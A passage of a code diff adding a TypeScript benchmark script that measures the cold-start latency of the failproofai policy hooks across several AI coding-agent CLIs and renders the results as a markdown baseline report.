canonicalToNative = new Map(Object.entries(map).map(([native, canon]) => [canon, native])); + const out: Record = {}; + for (const [k, v] of Object.entries(canonicalInput)) { + out[canonicalToNative.get(k) ?? k] = v; + } + return out; +} + +/** Reverse a `_EVENT_MAP` (native event → canonical) to get the native name. */ +function nativeEventName(cli: IntegrationType, canonical: HookEventType): string { + const map = lookupTable>(cli, "EVENT_MAP"); + if (!map) return canonical; + for (const [native, canon] of Object.entries(map)) { + if (canon === canonical) return native; + } + return canonical; +} + +/** + * Build the stdin payload a harness would actually deliver for one cell. + * Tool names and tool-input keys come from the per-CLI tables in + * `src/hooks/types.ts`; only the outer field naming comes from PAYLOAD_DIALECTS. + */ +function buildPayload(cell: Cell, cwd: string, transcriptPath: string): Record { + const { cli, event } = cell; + const dialect = PAYLOAD_DIALECTS[cli] ?? { shape: "claude" as DialectId }; + const nativeEvent = nativeEventName(cli, event); + + const hasTool = TOOL_EVENTS.has(event); + const toolName = hasTool ? nativeToolName(cli, "Bash") : undefined; + const toolInput = hasTool + ? nativeToolInput(cli, "Bash", { command: BENCH_COMMAND, cwd }) + : undefined; + + if (dialect.shape === "antigravity") { + // handler.ts normalizes `toolCall.{name,args}` / `conversationId` / + // `workspacePaths[0]` / `transcriptPath`. No `hook_event_name` at all — + // the event comes solely from the `--hook` arg. + const p: Record = { + conversationId: BENCH_SESSION_ID, + workspacePaths: [cwd], + transcriptPath, + modelName: "auto", + stepIdx: 7, + }; + if (hasTool) p.toolCall = { name: toolName, args: toolInput }; + if (PROMPT_EVENTS.has(event)) p.invocationNum = 3; + return p; + } + + if (dialect.shape === "goose") { + // handler.ts maps `working_dir` → `cwd` and `event` → `hook_event_name`. + // Goose has no transcript_path (audit reads sessions.db). + const p: Record = { + event: nativeEvent, + session_id: BENCH_SESSION_ID, + matcher_context: toolName ?? null, + working_dir: cwd, + }; + if (hasTool) { + p.tool_name = toolName; + p.tool_input = toolInput; + } + if (PROMPT_EVENTS.has(event)) p.message = "Run the test suite and fix what fails."; + return p; + } + + const p: Record = { + session_id: BENCH_SESSION_ID, + transcript_path: transcriptPath, + cwd, + permission_mode: "default", + hook_event_name: nativeEvent, + }; + if (dialect.workspaceRoots) p.workspace_roots = [cwd]; + if (hasTool) { + p.tool_name = toolName; + p.tool_input = toolInput; + } + if (RESULT_EVENTS.has(event)) { + p.tool_response = { success: true, output: " M scripts/bench-hook.ts\n", error: null }; + } + if (PROMPT_EVENTS.has(event)) p.prompt = "Run the test suite and fix what fails."; + if (event === "Stop" || event === "StopFailure" || event === "SubagentStop") { + p.stop_hook_active = false; + } + if (event === "Notification") p.message = "Claude needs your permission to run a command"; + if (event === "SessionEnd") p.reason = "user_exit"; + if (event === "PreCompact") p.trigger = "auto"; + return p; +} + +// ── The worker: one cold iteration, mirroring handler.ts ─────────────────── + +interface WorkerReport { + timeOriginMs: number; + entryMs: number; + configLoadMs: number; + evaluateMs: number; + encodeMs: number; + matchedCount: number; + decision: string; + customHooks: number; +} + +/** + * Tripwire for the handler mirror below. `handleHookEvent` is not callable in + * pieces, so the worker calls the same exported units in the same order; if any + * of them stops existing or changes arity the mirror is stale and this throws + * loudly rather than silently benchmarking something else. + * + * Checked at worker startup so a stale mirror fails the first iteration, not + * the artifact. + */ +function assertHandlerShape(): void { + const units: Array<[string, unknown, number]> = [ + ["readMergedHooksConfig", readMergedHooksConfig, 1], + ["registerBuiltinPolicies", registerBuiltinPolicies, 1], + ["loadAllCustomHooks", loadAllCustomHooks, 2], + ["evaluateVerdicts", evaluateVerdicts, 4], + ["encodeResponse", encodeResponse, 3], + ["buildLocalEnvelope", buildLocalEnvelope, 1], + ["envelopeToSessionMetadata", envelopeToSessionMetadata, 1], + ["resolveCwd", resolveCwd, 2], + ["resolveTranscriptPath", resolveTranscriptPath, 3], + ["resolvePermissionMode", resolvePermissionMode, 3], + ]; + for (const [name, fn, arity] of units) { + if (typeof fn !== "function") { + throw new Error(`bench-hook: handler mirror is stale — ${name} is not a function`); + } + if ((fn as (...a: unknown[]) => unknown).length !== arity) { + throw new Error( + `bench-hook: handler mirror is stale — ${name} now takes ` + + `${(fn as (...a: unknown[]) => unknown).length} args, expected ${arity}. ` + + `Re-read src/hooks/handler.ts and update runWorker().`, + ); + } + } +} + +/** + * Write the report and hard-exit, mirroring `bin/failproofai.mjs`, which calls + * `process.exit()` the moment `handleHookEvent` returns. + * + * That hard exit is load-bearing, not tidiness — and this benchmark is how we + * found out: a hook process that merely *returns* stays alive for as long as + * anything is still pending on the event loop. `handler.ts` races every custom + * hook against a `setTimeout(…, 10_000)`, and on the first attempt at this + * baseline the custom-policy variant reported a 10,088 ms p95 — it was timing a + * pending timer, not a hook. Mirroring the shipping client's exit is the only + * way this harness measures what the shipping client measures. + * + * `writeSync(1, …)` rather than `process.stdout.write` because stdout to a pipe + * is asynchronous in Node, and `process.exit()` would truncate it. + */ +function emitAndExit(report: WorkerReport): never { + writeSync(1, MARKER + JSON.stringify(report) + "\n"); + process.exit(0); +} + +/** + * Re-enacts `handleHookEvent` for a single event, timing the three in-process + * phases. Mirrors src/hooks/handler.ts (`handleHookEvent`) call-for-call: + * payload normalization → tool canonicalization → envelope → config+load → + * evaluate → encode. Deliberately omits `persistHookActivity`, PostHog + * telemetry, and `flushHookTelemetry`, which are I/O whose variance would swamp + * the signal; the `calibration` section quantifies what that omission costs. + */ +async function runWorker(): Promise { + const argv = process.argv.slice(2); + const get = (flag: string): string | undefined => { + const i = argv.indexOf(flag); + return i >= 0 ? argv[i + 1] : undefined; + }; + + // `--floor` exits right after the module graph is evaluated. Subtracting the + // bare-interpreter probe from it isolates "evaluating failproofai's module + // graph" from "starting node at all" — the two halves of phase 1, and the + // reason phase 1 does not vanish until the native client lands at Stage 4. + if (argv.includes("--floor")) { + emitAndExit({ + timeOriginMs: T_ORIGIN_MS, + entryMs: T_ENTRY_MS, + configLoadMs: 0, + evaluateMs: 0, + encodeMs: 0, + matchedCount: 0, + decision: "n/a", + customHooks: 0, + }); + } + + assertHandlerShape(); + + const cli = (get("--cli") ?? "claude") as IntegrationType; + const event = (get("--event") ?? "PreToolUse") as HookEventType; + + let raw = ""; + try { + raw = readFileSync(0, "utf8"); + } catch { + raw = ""; + } + const parsed = (raw ? JSON.parse(raw) : {}) as Record; + + // ── handler.ts: per-CLI payload normalization ── + if (cli === "antigravity") { + const tc = parsed.toolCall as { name?: string; args?: unknown } | undefined; + if (tc && typeof tc === "object") { + if (tc.name !== undefined) parsed.tool_name = tc.name; + if (tc.args !== undefined) parsed.tool_input = tc.args; + } + if (typeof parsed.conversationId === "string") parsed.session_id = parsed.conversationId; + if (Array.isArray(parsed.workspacePaths) && typeof parsed.workspacePaths[0] === "string") { + parsed.cwd = parsed.workspacePaths[0]; + } + if (typeof parsed.transcriptPath === "string") parsed.transcript_path = parsed.transcriptPath; + } + if (cli === "copilot") { + if (typeof parsed.toolName === "string" && parsed.tool_name === undefined) { + parsed.tool_name = parsed.toolName; + } + if (parsed.toolInput !== undefined && parsed.tool_input === undefined) { + parsed.tool_input = parsed.toolInput; + } + if (typeof parsed.sessionId === "string" && parsed.session_id === undefined) { + parsed.session_id = parsed.sessionId; + } + } + if (cli === "goose") { + if (typeof parsed.working_dir === "string") parsed.cwd = parsed.working_dir; + if (typeof parsed.event === "string" && parsed.hook_event_name === undefined) { + parsed.hook_event_name = parsed.event; + } + } + + // ── handler.ts: tool name + tool input canonicalization ── + const rawToolName = parsed.tool_name as string | undefined; + const canonicalToolName = canonicalizeToolName(rawToolName, cli); + if (canonicalToolName !== rawToolName) parsed.tool_name = canonicalToolName; + const rawInput = parsed.tool_input; + const canonicalInput = canonicalizeToolInput(canonicalToolName, rawInput, cli); + if (canonicalInput !== rawInput) parsed.tool_input = canonicalInput; + + // ── handler.ts: envelope (P4) ── + const sessionId = parsed.session_id as string | undefined; + const request = buildLocalEnvelope({ + cli, + eventType: event, + rawEventType: event, + payload: parsed, + sessionId, + transcriptPath: resolveTranscriptPath(cli, parsed, sessionId), + cwd: resolveCwd(cli, parsed), + permissionMode: resolvePermissionMode(cli, parsed, sessionId), + hookEventName: parsed.hook_event_name as string | undefined, + host: readLocalHostFacts(), + }); + const session: SessionMetadata = envelopeToSessionMetadata(request); + + // ── PHASE 2: config + load ── + const t1 = performance.now(); + const config = readMergedHooksConfig(session.cwd); + clearPolicies(); + registerBuiltinPolicies(config.enabledPolicies); + const loadResult = await loadAllCustomHooks( + config.customPoliciesPaths ?? config.customPoliciesPath, + { sessionCwd: session.cwd, customPoliciesEnabled: config.customPoliciesEnabled }, + ); + const customHooksList = loadResult.hooks; + const disabledCustomPolicies = new Set(config.disabledCustomPolicies ?? []); + for (const hook of customHooksList) { + const policyId = (hook as CustomHook & { __policyId?: string }).__policyId; + if (policyId && disabledCustomPolicies.has(policyId)) continue; + const conventionScope = (hook as CustomHook & { __conventionScope?: string }).__conventionScope; + const prefix = conventionScope ? `.failproofai-${conventionScope}` : "custom"; + const fn: PolicyFunction = async (ctx): Promise => { + try { + return await Promise.race([ + hook.fn(ctx), + new Promise((_, reject) => + setTimeout(() => reject(new Error("timeout")), 10_000), + ), + ]); + } catch { + return { decision: "allow" }; + } + }; + registerPolicy(`${prefix}/${hook.name}`, hook.description ?? "", fn, hook.match ?? {}, -1); + } + const t2 = performance.now(); + + // ── PHASE 3: evaluate ── + const verdicts = await evaluateVerdicts(event, parsed, session, config); + const t3 = performance.now(); + + // ── PHASE 4: encode ── + const result = encodeResponse(verdicts, event, session); + const t4 = performance.now(); + + emitAndExit({ + timeOriginMs: T_ORIGIN_MS, + entryMs: T_ENTRY_MS, + configLoadMs: t2 - t1, + evaluateMs: t3 - t2, + encodeMs: t4 - t3, + matchedCount: verdicts.matchedCount, + decision: result.decision, + customHooks: customHooksList.length, + }); +} + +// ── Sandbox ──────────────────────────────────────────────────────────────── + +/** + * The default-install policy set: every builtin marked `defaultEnabled` and not + * `beta`, exactly as the wizard's presets resolve them. Derived, never listed — + * a new default-on builtin changes the baseline's workload automatically, which + * is the honest behavior (it really would change users' latency). + */ +function defaultEnabledPolicies(): string[] { + return BUILTIN_POLICIES.filter((p) => p.defaultEnabled && !p.beta).map((p) => p.name); +} + +function allPolicies(): string[] { + return BUILTIN_POLICIES.filter((p) => !p.beta).map((p) => p.name); +} + +const BENCH_POLICY_SOURCE = `/** + * Generated by scripts/bench-hook.ts — a minimal convention policy whose only + * job is to make loadAllCustomHooks do its real work: findDistIndex(), the + * rewriteFileTree() temp-file pass that writes .__failproofai_tmp__.mjs next to + * this file, the dynamic import, and the cleanup unlink. The policy body itself + * is trivial on purpose so the measurement is loader cost, not policy cost. + */ +import { customPolicies, allow } from 'failproofai'; + +customPolicies.add({ + name: 'bench-noop', + description: 'Benchmark fixture: always allows.', + match: { events: ['PreToolUse', 'PostToolUse'] }, + fn: async () => allow(), +}); +`; + +interface Sandbox { + root: string; + home: string; + project: string; +} + +function makeSandbox(variant: Variant, policySet: string[]): Sandbox { + const root = resolve(WORK_DIR, `sandbox-${variant}`); + const home = resolve(root, "home"); + const project = resolve(root, "project"); + // A `.failproofai/` directory inside the sandbox stops + // `findProjectConfigDir`'s upward walk before it reaches this repo's own + // dogfood config — otherwise the benchmark would silently measure whatever + // policies this checkout happens to have enabled. + mkdirSync(resolve(project, ".failproofai"), { recursive: true }); + mkdirSync(resolve(home, ".failproofai"), { recursive: true }); + writeFileSync( + resolve(project, ".failproofai", "policies-config.json"), + JSON.stringify({ enabledPolicies: policySet }, null, 2), + "utf8", + ); + if (variant === "custom") { + const policiesDir = resolve(project, ".failproofai", "policies"); + mkdirSync(policiesDir, { recursive: true }); + // Must end in `policies.{js,mjs,ts}` or convention discovery skips it. + writeFileSync(resolve(policiesDir, "bench-policies.mjs"), BENCH_POLICY_SOURCE, "utf8"); + } + return { root, home, project }; +} + +function workerEnv(sandbox: Sandbox): NodeJS.ProcessEnv { + const env: NodeJS.ProcessEnv = { ...process.env }; + // Telemetry is fire-and-forget network I/O; leaving it on would add tens of + // milliseconds of unrelated variance. Both the worker and the calibration run + // of the real binary set this, so they stay comparable. + env.FAILPROOFAI_TELEMETRY_DISABLED = "1"; + env.FAILPROOFAI_DIST_PATH = SNAPSHOT_DIST_DIR; + env.HOME = sandbox.home; + env.CLAUDE_PROJECT_DIR = sandbox.project; + delete env.FAILPROOFAI_LOG_LEVEL; + delete env.FAILPROOFAI_HOOK_LOG_FILE; + return env; +} + +// ── Measurement ──────────────────────────────────────────────────────────── + +interface Sample { + spawn: number; + configLoad: number; + evaluate: number; + encode: number; + other: number; + e2e: number; + matchedCount: number; + customHooks: number; +} + +let clampedOtherCount = 0; +let failedIterations = 0; +let totalIterations = 0; +const failureSamples: string[] = []; + +function runOnce(cell: Cell, sandbox: Sandbox, nodeBin: string): Sample | null { + const payload = JSON.stringify(buildPayload(cell, sandbox.project, "/dev/null")); + const args = [WORKER_BUNDLE, "--worker", "--cli", cell.cli, "--event", cell.event]; + const t0 = nowEpochMs(); + const r = spawnSync(nodeBin, args, { + input: payload, + cwd: sandbox.project, + env: workerEnv(sandbox), + encoding: "utf8", + timeout: 30_000, + maxBuffer: 8 * 1024 * 1024, + }); + const e2e = nowEpochMs() - t0; + + totalIterations += 1; + const out = r.stdout ?? ""; + const idx = out.lastIndexOf(MARKER); + if (r.status !== 0 || idx < 0) { + failedIterations += 1; + if (failureSamples.length < 5) { + const msg = + `worker failed for ${cellKey(cell)} (status ${String(r.status)}): ` + + (r.stderr ?? "").slice(0, 600).replace(/\s+/g, " ").trim(); + failureSamples.push(msg); + process.stderr.write(`\n[bench] ${msg}\n`); + } + return null; + } + const report = JSON.parse(out.slice(idx + MARKER.length).split("\n")[0]!) as WorkerReport; + + const spawn = report.timeOriginMs + report.entryMs - t0; + const measured = spawn + report.configLoadMs + report.evaluateMs + report.encodeMs; + let other = e2e - measured; + if (other < 0) { + clampedOtherCount += 1; + other = 0; + } + return { + spawn, + configLoad: report.configLoadMs, + evaluate: report.evaluateMs, + encode: report.encodeMs, + other, + e2e, + matchedCount: report.matchedCount, + customHooks: report.customHooks, + }; +} + +interface CellResult { + n: number; + matched: number; + customHooks: number; + phases: PhaseTriples; + e2eMean: number; + e2eStddev: number; + e2eMin: number; + e2eMax: number; + samples: Sample[]; +} + +/** + * Measure every variant of one cell, **interleaved**, and return one result per + * variant. + * + * The interleaving is the whole reason this function exists instead of a plain + * per-variant loop, and it is a correctness fix rather than an optimization. + * Measuring the entire matrix in the `default` variant and *then* the entire + * matrix in the `custom` variant puts roughly half an hour between the two + * halves of every comparison — so any drift in machine load lands entirely on + * one side. The second attempt at this baseline did exactly that and reported a + * `custom` end-to-end p50 **17 ms faster** than `default`, which is not a + * property of custom policies; it is a property of the machine getting quieter. + * + * Interleaving at the iteration level makes the with/without-custom-policy + * delta a genuine paired comparison: both members of each pair run within + * milliseconds of each other, under the same load, on the same core. The order + * within each pair alternates so neither variant systematically occupies the + * "first spawn after a gap" slot. + */ +function measureCellInterleaved( + cell: Cell, + sandboxes: Record, + variants: readonly string[], + nodeBin: string, + iterations: number, + warmup: number, +): Record { + const collected: Record = {}; + for (const v of variants) collected[v] = []; + + for (let i = 0; i < warmup; i++) { + for (const v of variants) runOnce(cell, sandboxes[v]!, nodeBin); + } + for (let i = 0; i < iterations; i++) { + const order = i % 2 === 0 ? variants : [...variants].reverse(); + for (const v of order) { + const s = runOnce(cell, sandboxes[v]!, nodeBin); + if (s) collected[v]!.push(s); + } + } + + const out: Record = {}; + for (const v of variants) out[v] = summarize(collected[v]!); + return out; +} + +/** Single-variant measurement — used only by the repeatability probe. */ +function measureCellSingle( + cell: Cell, + sandbox: Sandbox, + nodeBin: string, + iterations: number, + warmup: number, +): CellResult | null { + for (let i = 0; i < warmup; i++) runOnce(cell, sandbox, nodeBin); + const samples: Sample[] = []; + for (let i = 0; i < iterations; i++) { + const s = runOnce(cell, sandbox, nodeBin); + if (s) samples.push(s); + } + return summarize(samples); +} + +function summarize(samples: Sample[]): CellResult | null { + if (samples.length === 0) return null; + const e2e = samples.map((s) => s.e2e); + const phases = {} as PhaseTriples; + for (const phase of PHASES) phases[phase] = triple(samples.map((s) => s[phase])); + return { + n: samples.length, + matched: samples[0]!.matchedCount, + customHooks: samples[0]!.customHooks, + phases, + e2eMean: round(mean(e2e)), + e2eStddev: round(stddev(e2e)), + e2eMin: round(Math.min(...e2e)), + e2eMax: round(Math.max(...e2e)), + samples, + }; +} + +function poolTriples(results: CellResult[]): PhaseTriples { + const phases = {} as PhaseTriples; + for (const phase of PHASES) { + const all: number[] = []; + for (const r of results) for (const s of r.samples) all.push(s[phase]); + phases[phase] = triple(all); + } + return phases; +} + +// ── Build steps ──────────────────────────────────────────────────────────── + +function newestMtime(dir: string, exts: string[]): number { + let newest = 0; + const walk = (d: string): void => { + let entries; + try { + entries = readdirSync(d, { withFileTypes: true }); + } catch { + return; + } + for (const e of entries) { + const p = resolve(d, e.name); + if (e.isDirectory()) walk(p); + else if (exts.some((x) => e.name.endsWith(x))) { + const m = statSync(p).mtimeMs; + if (m > newest) newest = m; + } + } + }; + walk(dir); + return newest; +} + +function ensureDistFresh(bunBin: string, allowBuild: boolean): void { + const srcNewest = Math.max( + newestMtime(resolve(REPO_ROOT, "src"), [".ts"]), + newestMtime(resolve(REPO_ROOT, "lib"), [".ts"]), + newestMtime(resolve(REPO_ROOT, "bin"), [".mjs"]), + ); + const distOk = + existsSync(DIST_CLI) && + existsSync(DIST_INDEX) && + statSync(DIST_CLI).mtimeMs >= srcNewest && + statSync(DIST_INDEX).mtimeMs >= srcNewest; + if (distOk) return; + if (!allowBuild) { + throw new Error("dist/ is stale and --no-build was passed. Run `bun run build:cli` first."); + } + process.stderr.write("[bench] dist/ is stale — running `bun run build:cli` + dist/index.js…\n"); + // `dist/index.js` is what `findDistIndex()` resolves for custom policies, and + // `dist/cli.mjs` is what the calibration run invokes. Both must exist. + const a = spawnSync(bunBin, ["run", "build:cli"], { cwd: REPO_ROOT, stdio: "inherit" }); + if (a.status !== 0) throw new Error("build:cli failed"); + const b = spawnSync( + bunBin, + ["build", "--target=node", "--format=cjs", "--outfile=dist/index.js", "src/index.ts"], + { cwd: REPO_ROOT, stdio: "inherit" }, + ); + if (b.status !== 0) throw new Error("building dist/index.js failed"); +} + +/** + * Bundle THIS file to a node-runnable ESM module using the same flags + * `package.json`'s `build:cli` uses for `dist/cli.mjs`, so the worker's module + * graph is evaluated under the same conditions the shipping client's is. + */ +function buildWorkerBundle(bunBin: string): void { + mkdirSync(WORK_DIR, { recursive: true }); + const r = spawnSync( + bunBin, + [ + "build", + "--target=node", + "--format=esm", + `--outfile=${WORKER_BUNDLE}`, + resolve(HERE, "bench-hook.ts"), + "--external", + "posthog-node", + "--external", + "sql.js", + ], + { cwd: REPO_ROOT, stdio: "inherit" }, + ); + if (r.status !== 0) throw new Error("bundling the bench worker failed"); + // Freeze `dist/` for the duration of the run — see SNAPSHOT_DIST_DIR. + mkdirSync(SNAPSHOT_DIST_DIR, { recursive: true }); + cpSync(DIST_CLI, SNAPSHOT_CLI); + cpSync(DIST_INDEX, resolve(SNAPSHOT_DIST_DIR, "index.js")); + writeFileSync( + NOOP_SCRIPT, + `process.stdout.write("${MARKER}" + JSON.stringify({t: performance.timeOrigin + performance.now()}) + "\\n");\n`, + "utf8", + ); +} + +/** How many times the harness had to be rebuilt mid-run. Reported. */ +let harnessRepairs = 0; + +/** + * Verify — cheaply, between cells — that everything the measurement depends on + * still exists, and rebuild it if not. + * + * `.bench-hook-tmp/` is an untracked directory inside a repo that other people + * and other agents are actively working in, and a `git clean` or an + * over-eager rm will take it out from under a run that still has half an hour + * to go. That is not hypothetical: the second attempt at this baseline lost its + * working directory near the end, and every subsequent spawn failed with + * `status undefined` and empty stderr (ENOENT), silently poisoning the last + * 636 iterations and two calibration rows. + * + * Three `existsSync` calls per cell is nothing next to a hundred process + * spawns, and repairing is strictly better than continuing to record failures. + * Every repair is counted, because a run that had to rebuild itself is a run + * whose numbers deserve a second look. + */ +function ensureHarnessIntact( + bunBin: string, + allowBuild: boolean, + sandboxes: Record, + policySet: string[], +): void { + const harnessOk = existsSync(WORKER_BUNDLE) && existsSync(SNAPSHOT_CLI) && existsSync(NOOP_SCRIPT); + const sandboxesOk = Object.values(sandboxes).every((s) => existsSync(s.project) && existsSync(s.home)); + if (harnessOk && sandboxesOk) return; + harnessRepairs += 1; + process.stderr.write( + `\n[bench] harness went missing mid-run (repair #${harnessRepairs}) — rebuilding\n`, + ); + if (!harnessOk) { + ensureDistFresh(bunBin, allowBuild); + buildWorkerBundle(bunBin); + } + for (const variant of Object.keys(sandboxes)) { + sandboxes[variant] = makeSandbox(variant as Variant, policySet); + } +} + +// ── Machine context ──────────────────────────────────────────────────────── + +interface MachineContext { + fingerprint: string; + cpuModel: string; + cpuCores: number; + totalMemGb: number; + platform: string; + osType: string; + osRelease: string; + arch: string; + nodeVersion: string; + bunVersion: string; + hostname: string; + loadAvgBefore: number[]; + loadAvgAfter: number[]; +} + +function readMachine(bunBin: string, nodeBin: string): MachineContext { + const cpuList = cpus(); + const cpuModel = cpuList[0]?.model?.trim() ?? "unknown"; + const nodeVersion = ( + spawnSync(nodeBin, ["--version"], { encoding: "utf8" }).stdout ?? "" + ).trim(); + const bunVersion = ( + spawnSync(bunBin, ["--version"], { encoding: "utf8" }).stdout ?? "" + ).trim(); + return { + // No `|` in the fingerprint — it is rendered inside a markdown table cell. + fingerprint: `${cpuModel} / ${cpuList.length}c / ${platform()}-${arch()} / node ${nodeVersion} / bun ${bunVersion}`, + cpuModel, + cpuCores: cpuList.length, + totalMemGb: round(totalmem() / 1024 ** 3, 1), + platform: platform(), + osType: osType(), + osRelease: release(), + arch: arch(), + nodeVersion, + bunVersion, + hostname: hostname(), + loadAvgBefore: loadavg().map((x) => round(x)), + loadAvgAfter: [], + }; +} + +// ── Artifact shape ───────────────────────────────────────────────────────── + +interface CellRecord { + n: number; + matched: number; + customHooks: number; + phases: PhaseTriples; + e2eMean: number; + e2eStddev: number; + e2eMin: number; + e2eMax: number; +} + +interface CalibrationRow { + cli: string; + event: string; + harnessE2e: Triple; + realCliE2e: Triple; + deltaP50: number; +} + +interface RepeatRow { + cell: string; + firstP50: number; + secondP50: number; + absDelta: number; + relDelta: number; +} + +interface Baseline { + schema: string; + generator: string; + generatedAt: string; + gitCommit: string; + packageVersion: string; + machine: MachineContext; + config: { + iterations: number; + warmup: number; + policySet: string; + enabledPolicies: string[]; + variants: string[]; + matrix: { clis: number; events: number; cells: number }; + benchCommand: string; + telemetry: string; + concurrency: string; + omittedFromHarness: string[]; + }; + phases: string[]; + percentiles: number[]; + runtimeFloor: { + bareInterpreterSpawn: Triple; + bareInterpreterE2e: Triple; + moduleGraphEvalSpawn: Triple; + derivedModuleEvalP50: number; + }; + aggregate: Record; + byCli: Record>; + byEvent: Record>; + cells: Record>; + customPolicyDelta: { + configLoadP50: number; + configLoadP95: number; + configLoadP99: number; + e2eP50: number; + tempFilesWrittenPerInvocation: number; + }; + calibration: CalibrationRow[]; + repeatability: { + note: string; + rows: RepeatRow[]; + maxAbsDeltaMs: number; + maxRelDelta: number; + }; + diagnostics: { + totalIterations: number; + failedIterations: number; + failureRate: number; + harnessRepairs: number; + failureSamples: string[]; + clampedOtherSamples: number; + }; +} + +// ── Argument parsing ─────────────────────────────────────────────────────── + +interface Options { + check: boolean; + iterations: number; + warmup: number; + policySet: "default" | "all"; + variants: Variant[]; + cliFilter: Set | null; + eventFilter: Set | null; + outDir: string; + allowBuild: boolean; + calibrationIterations: number; + tolerance: number; +} + +function parseOptions(argv: string[]): Options { + const get = (flag: string): string | undefined => { + const i = argv.indexOf(flag); + return i >= 0 ? argv[i + 1] : undefined; + }; + const list = (flag: string): Set | null => { + const v = get(flag); + return v ? new Set(v.split(",").map((s) => s.trim()).filter(Boolean)) : null; + }; + const variantsRaw = get("--variants"); + const variants = variantsRaw + ? (variantsRaw.split(",").map((s) => s.trim()) as Variant[]) + : [...VARIANTS]; + const policySet = (get("--policy-set") ?? "default") as "default" | "all"; + return { + check: argv.includes("--check"), + iterations: Number(get("--iterations") ?? 50), + warmup: Number(get("--warmup") ?? 3), + policySet, + variants, + cliFilter: list("--cli"), + eventFilter: list("--event"), + outDir: get("--out") ?? DEFAULT_OUT_DIR, + allowBuild: !argv.includes("--no-build"), + calibrationIterations: Number(get("--calibration-iterations") ?? 30), + tolerance: Number(get("--tolerance") ?? 1.5), + }; +} + +// ── Markdown rendering ───────────────────────────────────────────────────── + +function mdTable(headers: string[], rows: string[][]): string { + const sep = headers.map(() => "---"); + return [ + `| ${headers.join(" | ")} |`, + `| ${sep.join(" | ")} |`, + ...rows.map((r) => `| ${r.join(" | ")} |`), + ].join("\n"); +} + +const PHASE_LABEL: Record = { + spawn: "1. spawn", + configLoad: "2. config+load", + evaluate: "3. evaluate", + encode: "4. encode", + other: "(other)", + e2e: "**end-to-end**", +}; + +function phaseRows(t: PhaseTriples, e2eP50: number): string[][] { + return PHASES.map((p) => [ + PHASE_LABEL[p], + fmt(t[p][0], 2), + fmt(t[p][1], 2), + fmt(t[p][2], 2), + p === "e2e" ? "100%" : `${fmt((t[p][0] / e2eP50) * 100, 1)}%`, + ]); +} + +function renderMarkdown(b: Baseline): string { + // The primary variant is whatever was measured first — normally `default`. + // A filtered run (`--variants custom`) still renders, it just has no paired + // custom-policy delta to report. + const primary = b.config.variants[0] ?? "default"; + const def = b.aggregate[primary]; + if (!def) throw new Error("bench-hook: no aggregate data to render"); + const cus = primary === "custom" ? undefined : b.aggregate.custom; + const spawnShare = (def.spawn[0] / def.e2e[0]) * 100; + const removedByStage1 = def.configLoad[0] + def.evaluate[0] + def.encode[0]; + const removedByStage1Custom = cus ? cus.configLoad[0] + cus.evaluate[0] + cus.encode[0] : 0; + + const out: string[] = []; + out.push("# Stage 0 — cold-start hook latency baseline"); + out.push(""); + out.push( + "> Generated by `scripts/bench-hook.ts`. **Do not hand-edit** — regenerate with " + + "`bun scripts/bench-hook.ts`, and re-measure against this file with " + + "`bun scripts/bench-hook.ts --check`.", + ); + out.push(""); + out.push( + `Captured ${b.generatedAt} at commit \`${b.gitCommit}\` (failproofai ${b.packageVersion}), ` + + `${b.config.iterations} iterations per cell after ${b.config.warmup} discarded warmup ` + + `iterations, across ${b.config.matrix.cells} \`(cli, event)\` cells ` + + `(${b.config.matrix.clis} CLIs × ${b.config.matrix.events} events) × ` + + `${b.config.variants.length} variants.`, + ); + out.push(""); + + // ── The argument ── + out.push("## What this baseline is for"); + out.push(""); + out.push( + "It exists to pre-empt one specific way Phase 1 could be killed for the wrong reason — " + + "the risk titled **\u201cThe daemon isn\u2019t faster\u201d could kill the project mid-flight " + + "for the wrong reason** in " + + "`desgin-docs/v1.0.0/phase-1-local-enforcement/implementation/03-risks-and-amendments.md`.", + ); + out.push(""); + out.push( + "Through Stage 3 the daemon\u2019s client is still `bin/failproofai.mjs` under Node or bun. " + + "The process still starts, the module graph is still evaluated. **What the daemon removes " + + "at Stage 1 is phases 2\u20134, not phase 1.** Phase 1 only goes away at Stage 4, when the " + + "native client (`crates/failproofai-cli`) lands. If this baseline reported a single " + + "end-to-end number, a Stage-1 measurement would look like a rounding error and " + + "\u201cthe daemon isn\u2019t faster\u201d would be unanswerable.", + ); + out.push(""); + out.push("On the machine below, with the **default** policy set and no custom policy file:"); + out.push(""); + out.push( + mdTable( + ["", "removed by", "p50 (ms)", "share of end-to-end p50"], + [ + [ + "phase 1 — spawn", + "**Stage 4** (native client)", + fmt(def.spawn[0], 2), + `${fmt(spawnShare, 1)}%`, + ], + [ + "phases 2–4 — config+load, evaluate, encode", + "**Stage 1** (daemon)", + fmt(removedByStage1, 2), + `${fmt((removedByStage1 / def.e2e[0]) * 100, 1)}%`, + ], + ["(other) — payload, envelope, teardown", "—", fmt(def.other[0], 2), `${fmt((def.other[0] / def.e2e[0]) * 100, 1)}%`], + ], + ), + ); + out.push(""); + if (cus) { + out.push( + `With **one** custom policy file present — the setup that makes ` + + `\`src/hooks/loader-utils.ts\` write \`.__failproofai_tmp__.mjs\` next to the user\u2019s ` + + `own source on every single tool call — phases 2\u20134 grow to ` + + `**${fmt(removedByStage1Custom, 2)} ms** p50. That is the part the daemon deletes at ` + + `Stage 1, and it is ${fmt(removedByStage1Custom / Math.max(removedByStage1, 0.001), 1)}\u00d7 ` + + `larger than in the default case.`, + ); + out.push(""); + } + out.push( + `So the Stage-1\u20133 acceptance question is **\u201cdid phases 2\u20134 go to zero?\u201d**, not ` + + `\u201cdid end-to-end drop?\u201d. End-to-end is the Stage-4 gate, exactly as ` + + `\`01-stages.md\` states. The nightly \`hyperfine\` job described in ` + + `\`02-verification.md\` (L6) is the successor to this file, not a replacement for it: ` + + `\`hyperfine\` can only see end-to-end.`, + ); + out.push(""); + + // ── Aggregate ── + out.push("## Aggregate, pooled across every cell"); + out.push(""); + for (const variant of b.config.variants) { + const t = b.aggregate[variant]; + if (!t) continue; + const label = + variant === "default" + ? "`default` — 11 default-enabled builtins, **no** custom policy file" + : "`custom` — same builtins **plus one** convention custom policy file"; + out.push(`### ${variant} variant`); + out.push(""); + out.push(label); + out.push(""); + out.push(mdTable(["phase", "p50 (ms)", "p95 (ms)", "p99 (ms)", "share of e2e p50"], phaseRows(t, t.e2e[0]))); + out.push(""); + } + + // ── Custom policy delta ── + if (cus) { + out.push("## The cost of one custom policy file (`config+load`)"); + out.push(""); + out.push( + "This is the strongest single argument for the daemon at Stage 1, because it is pure " + + "overhead that recurs on **every tool call** and it writes to the user\u2019s working tree " + + "to do it. `rewriteFileTree()` creates one `.__failproofai_tmp__.mjs` beside the policy " + + "file plus one ESM 